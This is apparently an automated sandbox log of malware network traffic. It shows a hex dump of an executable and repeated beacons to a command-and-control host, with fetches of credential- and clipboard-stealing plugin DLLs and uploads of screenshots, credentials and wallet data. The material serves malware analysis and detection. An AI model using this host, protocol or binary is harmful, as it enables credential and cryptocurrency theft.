0f 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 e2 c5 02 00 00 70 0f 00 00 c6 02 00 00 60 0f 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 4c 8d 00 00 00 40 12 00 00 42 00 00 00 26 12 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 70 64 61 74 61 00 00 98 ac 00 00 00 d0 12 00 00 ae 00 00 00 68 12 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 5f 52 44 41 54 41 00 00 94 00 00 00 00 80 13 00 00 02 00 00 00 16 13 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 f8 00 00 00 00 90 13 00 00 02 00 00 00 18 13 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 e0 15 00 00 00 a0 13 00 00 16 00 00 00 1a 13 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 09 Apr 2024 12:54:06 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Tue, 09 Apr 2024 00:43:15 GMTETag: "19600-6159f351c52d1"Accept-Ranges: bytesContent-Length: 103936Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 27 f6 04 b3 63 97 6a e0 63 97 6a e0 63 97 6a e0 38 ff 69 e1 69 97 6a e0 38 ff 6f e1 eb 97 6a e0 38 ff 6e e1 71 97 6a e0 b6 fa 6e e1 6c 97 6a e0 b6 fa 69 e1 72 97 6a e0 b6 fa 6f e1 42 97 6a e0 38 ff 6b e1 64 97 6a e0 63 97 6b e0 02 97 6a e0 f8 f9 63 e1 60 97 6a e0 f8 f9 6a e1 62 97 6a e0 f8 f9 95 e0 62 97 6a e0 f8 f9 68 e1 62 97 6a e0 52 69 63 68 63 97 6a e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 4a e1 4f 65 00 00 00 00 00 00 00 00 e0 00 02 21 0b 01 0e 18 00 0e 01 00 00 90 00 00 00 00 00 00 d0 66 00 00 00 10 00 00 00 20 01 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 e0 01 00 00 04 00 00 00 00 00 00 02 00 40 01 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 b0 79 01 00 9c 00 00 00 4c 7a 01 00 50 00 00 00 00 b0 01 00 f8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 01 00 dc 12 00 00 c0 6e 01 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 6e 01 00 40 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 48 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 06 0c 01 00 00 10 00 00 00 0e 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 b0 61 00 00 00 20 01 00 00 62 00 00 00 12 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 04 17 00 00 00 90 01 00 00 0c 00 00 00 74 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f8 00 00 00 00 b0 01 00 00 02 00 00 00 80 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 dc 12 00 00 00 c0 01 00 00 14 00 00 00 82 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0

Source: global traffic	HTTP traffic detected: GET /vsdjcn3khS/Plugins/cred64.dll HTTP/1.1Host: atillapro.com
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----OTc5NzE=Host: atillapro.comContent-Length: 98123Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 154Cache-Control: no-cacheData Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 34 38 45 41 33 42 35 34 33 44 32 41 36 44 31 38 42 36 38 36 31 43 39 43 35 41 34 34 35 42 46 33 44 43 46 33 46 34 31 42 43 42 31 43 33 39 30 34 34 45 31 43 45 41 32 43 45 39 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E748EA3B543D2A6D18B6861C9C5A445BF3DCF3F41BCB1C39044E1CEA2CE92
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 154Cache-Control: no-cacheData Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 34 38 45 41 33 42 35 34 33 44 32 41 36 44 31 38 42 36 38 36 31 43 39 43 35 41 34 34 35 42 46 33 44 43 46 33 46 34 31 42 43 42 31 43 33 39 30 34 34 45 31 43 45 41 32 43 45 39 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E748EA3B543D2A6D18B6861C9C5A445BF3DCF3F41BCB1C39044E1CEA2CE92
Source: global traffic	HTTP traffic detected: GET /vsdjcn3khS/Plugins/clip64.dll HTTP/1.1Host: atillapro.com
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----MTA0MDMzHost: atillapro.comContent-Length: 104185Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 154Cache-Control: no-cacheData Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 34 38 45 41 33 42 35 34 33 44 32 41 36 44 31 38 42 36 38 36 31 43 39 43 35 41 34 34 35 42 46 33 44 43 46 33 46 34 31 42 43 42 31 43 33 39 30 34 34 45 31 43 45 41 32 43 45 39 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E748EA3B543D2A6D18B6861C9C5A445BF3DCF3F41BCB1C39044E1CEA2CE92
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 154Cache-Control: no-cacheData Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 34 38 45 41 33 42 35 34 33 44 32 41 36 44 31 38 42 36 38 36 31 43 39 43 35 41 34 34 35 42 46 33 44 43 46 33 46 34 31 42 43 42 31 43 33 39 30 34 34 45 31 43 45 41 32 43 45 39 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E748EA3B543D2A6D18B6861C9C5A445BF3DCF3F41BCB1C39044E1CEA2CE92
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 5Cache-Control: no-cacheData Raw: 77 6c 74 3d 31 Data Ascii: wlt=1
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 154Cache-Control: no-cacheData Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 34 38 45 41 33 42 35 34 33 44 32 41 36 44 31 38 42 36 38 36 31 43 39 43 35 41 34 34 35 42 46 33 44 43 46 33 46 34 31 42 43 42 31 43 33 39 30 34 34 45 31 43 45 41 32 43 45 39 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E748EA3B543D2A6D18B6861C9C5A445BF3DCF3F41BCB1C39044E1CEA2CE92
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 21Cache-Control: no-cacheData Raw: 69 64 3d 32 34 36 31 32 32 36 35 38 33 36 39 26 63 72 65 64 3d Data Ascii: id=246122658369&cred=
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----OTc5NzE=Host: atillapro.comContent-Length: 98123Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 154Cache-Control: no-cacheData Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 34 38 45 41 33 42 35 34 33 44 32 41 36 44 31 38 42 36 38 36 31 43 39 43 35 41 34 34 35 42 46 33 44 43 46 33 46 34 31 42 43 42 31 43 33 39 30 34 34 45 31 43 45 41 32 43 45 39 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E748EA3B543D2A6D18B6861C9C5A445BF3DCF3F41BCB1C39044E1CEA2CE92
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 154Cache-Control: no-cacheData Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 34 38 45 41 33 42 35 34 33 44 32 41 36 44 31 38 42 36 38 36 31 43 39 43 35 41 34 34 35 42 46 33 44 43 46 33 46 34 31 42 43 42 31 43 33 39 30 34 34 45 31 43 45 41 32 43 45 39 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E748EA3B543D2A6D18B6861C9C5A445BF3DCF3F41BCB1C39044E1CEA2CE92
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php?wal=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----MTc0MDg=Host: atillapro.comContent-Length: 17568Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 154Cache-Control: no-cacheData Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 34 38 45 41 33 42 35 34 33 44 32 41 36 44 31 38 42 36 38 36 31 43 39 43 35 41 34 34 35 42 46 33 44 43 46 33 46 34 31 42 43 42 31 43 33 39 30 34 34 45 31 43 45 41 32 43 45 39 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E748EA3B543D2A6D18B6861C9C5A445BF3DCF3F41BCB1C39044E1CEA2CE92
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----OTc5NzE=Host: atillapro.comContent-Length: 98123Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 154Cache-Control: no-cacheData Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 34 38 45 41 33 42 35 34 33 44 32 41 36 44 31 38 42 36 38 36 31 43 39 43 35 41 34 34 35 42 46 33 44 43 46 33 46 34 31 42 43 42 31 43 33 39 30 34 34 45 31 43 45 41 32 43 45 39 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E748EA3B543D2A6D18B6861C9C5A445BF3DCF3F41BCB1C39044E1CEA2CE92
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 154Cache-Control: no-cacheData Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 34 38 45 41 33 42 35 34 33 44 32 41 36 44 31 38 42 36 38 36 31 43 39 43 35 41 34 34 35 42 46 33 44 43 46 33 46 34 31 42 43 42 31 43 33 39 30 34 34 45 31 43 45 41 32 43 45 39 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E748EA3B543D2A6D18B6861C9C5A445BF3DCF3F41BCB1C39044E1CEA2CE92
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 154Cache-Control: no-cacheData Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 34 38 45 41 33 42 35 34 33 44 32 41 36 44 31 38 42 36 38 36 31 43 39 43 35 41 34 34 35 42 46 33 44 43 46 33 46 34 31 42 43 42 31 43 33 39 30 34 34 45 31 43 45 41 32 43 45 39 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E748EA3B543D2A6D18B6861C9C5A445BF3DCF3F41BCB1C39044E1CEA2CE92
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 154Cache-Control: no-cacheData Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 34 38 45 41 33 42 35 34 33 44 32 41 36 44 31 38 42 36 38 36 31 43 39 43 35 41 34 34 35 42 46 33 44 43 46 33 46 34 31 42 43 42 31 43 33 39 30 34 34 45 31 43 45 41 32 43 45 39 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E748EA3B543D2A6D18B6861C9C5A445BF3DCF3F41BCB1C39044E1CEA2CE92
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----OTc5NzE=Host: atillapro.comContent-Length: 98123Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 154Cache-Control: no-cacheData Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 34 38 45 41 33 42 35 34 33 44 32 41 36 44 31 38 42 36 38 36 31 43 39 43 35 41 34 34 35 42 46 33 44 43 46 33 46 34 31 42 43 42 31 43 33 39 30 34 34 45 31 43 45 41 32 43 45 39 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E748EA3B543D2A6D18B6861C9C5A445BF3DCF3F41BCB1C39044E1CEA2CE92
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 154Cache-Control: no-cacheData Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 34 38 45 41 33 42 35 34 33 44 32 41 36 44 31 38 42 36 38 36 31 43 39 43 35 41 34 34 35 42 46 33 44 43 46 33 46 34 31 42 43 42 31 43 33 39 30 34 34 45 31 43 45 41 32 43 45 39 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E748EA3B543D2A6D18B6861C9C5A445BF3DCF3F41BCB1C39044E1CEA2CE92
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 154Cache-Control: no-cacheData Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 34 38 45 41 33 42 35 34 33 44 32 41 36 44 31 38 42 36 38 36 31 43 39 43 35 41 34 34 35 42 46 33 44 43 46 33 46 34 31 42 43 42 31 43 33 39 30 34 34 45 31 43 45 41 32 43 45 39 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E748EA3B543D2A6D18B6861C9C5A445BF3DCF3F41BCB1C39044E1CEA2CE92
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----OTc5NzE=Host: atillapro.comContent-Length: 98123Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 154Cache-Control: no-cacheData Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 34 38 45 41 33 42 35 34 33 44 32 41 36 44 31 38 42 36 38 36 31 43 39 43 35 41 34 34 35 42 46 33 44 43 46 33 46 34 31 42 43 42 31 43 33 39 30 34 34 45 31 43 45 41 32 43 45 39 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E748EA3B543D2A6D18B6861C9C5A445BF3DCF3F41BCB1C39044E1CEA2CE92
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 154Cache-Control: no-cacheData Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 34 38 45 41 33 42 35 34 33 44 32 41 36 44 31 38 42 36 38 36 31 43 39 43 35 41 34 34 35 42 46 33 44 43 46 33 46 34 31 42 43 42 31 43 33 39 30 34 34 45 31 43 45 41 32 43 45 39 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E748EA3B543D2A6D18B6861C9C5A445BF3DCF3F41BCB1C39044E1CEA2CE92
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
